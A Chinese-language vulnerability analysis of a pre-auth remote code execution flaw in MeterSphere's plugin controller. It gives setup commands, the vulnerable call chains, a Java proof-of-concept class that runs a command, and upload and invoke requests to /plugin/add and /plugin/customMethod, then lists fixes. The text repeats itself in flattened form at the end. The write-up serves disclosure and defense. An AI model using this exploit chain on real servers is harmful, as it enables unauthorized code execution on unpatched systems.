MeterSphere PluginController Pre-auth RCE
字数 1083 2025-08-29 08:30:36

MeterSphere PluginController 预认证远程代码执行漏洞分析

漏洞概述

MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞,攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。

环境搭建

  1. 下载 MeterSphere v1.16.3 安装包:

    wget https://github.com/metersphere/metersphere/releases/download/v1.16.3/metersphere-online-installer-v1.16.3.tar.gz
    
  2. 解压并进入安装目录:

    tar zxvf metersphere-online-installer-v1.16.3.tar.gz
    cd metersphere-online-installer-v1.16.3/
    
  3. 设置版本变量并修改安装配置:

    MSVERSION="v1.16.3"
    echo $MSVERSION
    sed -i -e "s#MS_IMAGE_TAG=.*#MS_IMAGE_TAG=${MSVERSION}#g" install.conf
    sed -i -e "s#MS_IMAGE_PREFIX=.*#MS_IMAGE_PREFIX=registry.cn-qingdao.aliyuncs.com\/metersphere#g" install.conf
    
  4. 执行安装:

    /bin/bash install.sh
    

安装完成后,MeterSphere 将运行在 http://172.16.16.129:8081/,可通过 docker中 msctl status 查看服务状态。

漏洞分析

漏洞根源

通过对比 v1.16.3 和 v1.16.4 版本的代码差异:

https://github.com/metersphere/metersphere/compare/v1.16.3...v1.16.4

发现 v1.16.4 删除了 /plugin/** 路由的 anon 权限,这意味着在 v1.16.3 及之前版本中,访问 /plugin/ 路径不需要授权。

关键代码分析

漏洞位于 io.metersphere.controller.PluginController 类中,主要涉及两个方法:

  1. add 方法

    • 处理文件上传
    • 调用链:
      PluginController.add() 
      → PluginService.editPlugin() 
      → FileUtils.create()
      
    • 上传的文件被保存到 /opt/metersphere/data/body/plugin/ 目录下,文件名格式为 UUID + 原始文件名,如:
      /opt/metersphere/data/body/plugin/490fb08a-eae3-4414-a991-09f16f5b8f5e_test.jar
      
    • 然后调用 PluginService.getMethod()loadJar(),通过 URLClassLoader 加载上传的 JAR 文件
  2. customMethod 方法

    • 调用链:
      PluginController.customMethod() 
      → PluginService.customMethod() 
      → Class.forName()
      
    • Class.forName() 的参数可控,可以加载并执行上传的 JAR 文件中定义的类方法

攻击流程

  1. 编写恶意 Java 类,包含 customMethod 方法
  2. 将恶意类打包为 JAR 文件
  3. 通过 /plugin/add 路由上传恶意 JAR 文件
  4. 通过 /plugin/customMethod 路由调用 JAR 文件中的恶意方法

漏洞复现

  1. 创建恶意 Java 类:

    public class Evil {
        public static Object customMethod() {
            try {
                // 恶意代码,例如执行系统命令
                Runtime.getRuntime().exec("calc.exe");
                return "Exploit Success";
            } catch (Exception e) {
                e.printStackTrace();
                return "Exploit Failed";
            }
        }
    }
    
  2. 编译并打包为 JAR 文件:

    javac Evil.java
    jar cvf evil.jar Evil.class
    
  3. 上传恶意 JAR 文件:

    POST /plugin/add
    (文件上传请求,包含 evil.jar)
    
  4. 调用恶意方法:

    POST /plugin/customMethod
    {
        "entry": "Evil",
        "request": {}
    }
    

修复方案

  1. 升级到 MeterSphere v1.16.4 或更高版本
  2. 临时解决方案:在应用层对 /plugin/** 路径添加认证检查

总结

该漏洞利用链清晰,通过未授权上传+动态加载+反射调用三个环节实现了预认证的远程代码执行。开发人员在设计插件系统时应特别注意:

  • 文件上传的安全校验
  • 动态加载类的安全控制
  • 反射调用的参数过滤
  • 敏感接口的权限控制
MeterSphere PluginController 预认证远程代码执行漏洞分析 漏洞概述 MeterSphere v1.16.3 及之前版本存在一个预认证远程代码执行漏洞,攻击者可以在未授权的情况下通过上传恶意JAR文件并调用特定方法实现任意代码执行。 环境搭建 下载 MeterSphere v1.16.3 安装包: 解压并进入安装目录: 设置版本变量并修改安装配置: 执行安装: 安装完成后,MeterSphere 将运行在 http://172.16.16.129:8081/ ,可通过 docker中 msctl status 查看服务状态。 漏洞分析 漏洞根源 通过对比 v1.16.3 和 v1.16.4 版本的代码差异: 发现 v1.16.4 删除了 /plugin/** 路由的 anon 权限,这意味着在 v1.16.3 及之前版本中,访问 /plugin/ 路径不需要授权。 关键代码分析 漏洞位于 io.metersphere.controller.PluginController 类中,主要涉及两个方法: add 方法 : 处理文件上传 调用链: 上传的文件被保存到 /opt/metersphere/data/body/plugin/ 目录下,文件名格式为 UUID + 原始文件名,如: 然后调用 PluginService.getMethod() → loadJar() ,通过 URLClassLoader 加载上传的 JAR 文件 customMethod 方法 : 调用链: Class.forName() 的参数可控,可以加载并执行上传的 JAR 文件中定义的类方法 攻击流程 编写恶意 Java 类,包含 customMethod 方法 将恶意类打包为 JAR 文件 通过 /plugin/add 路由上传恶意 JAR 文件 通过 /plugin/customMethod 路由调用 JAR 文件中的恶意方法 漏洞复现 创建恶意 Java 类: 编译并打包为 JAR 文件: 上传恶意 JAR 文件: 调用恶意方法: 修复方案 升级到 MeterSphere v1.16.4 或更高版本 临时解决方案:在应用层对 /plugin/** 路径添加认证检查 总结 该漏洞利用链清晰,通过未授权上传+动态加载+反射调用三个环节实现了预认证的远程代码执行。开发人员在设计插件系统时应特别注意: 文件上传的安全校验 动态加载类的安全控制 反射调用的参数过滤 敏感接口的权限控制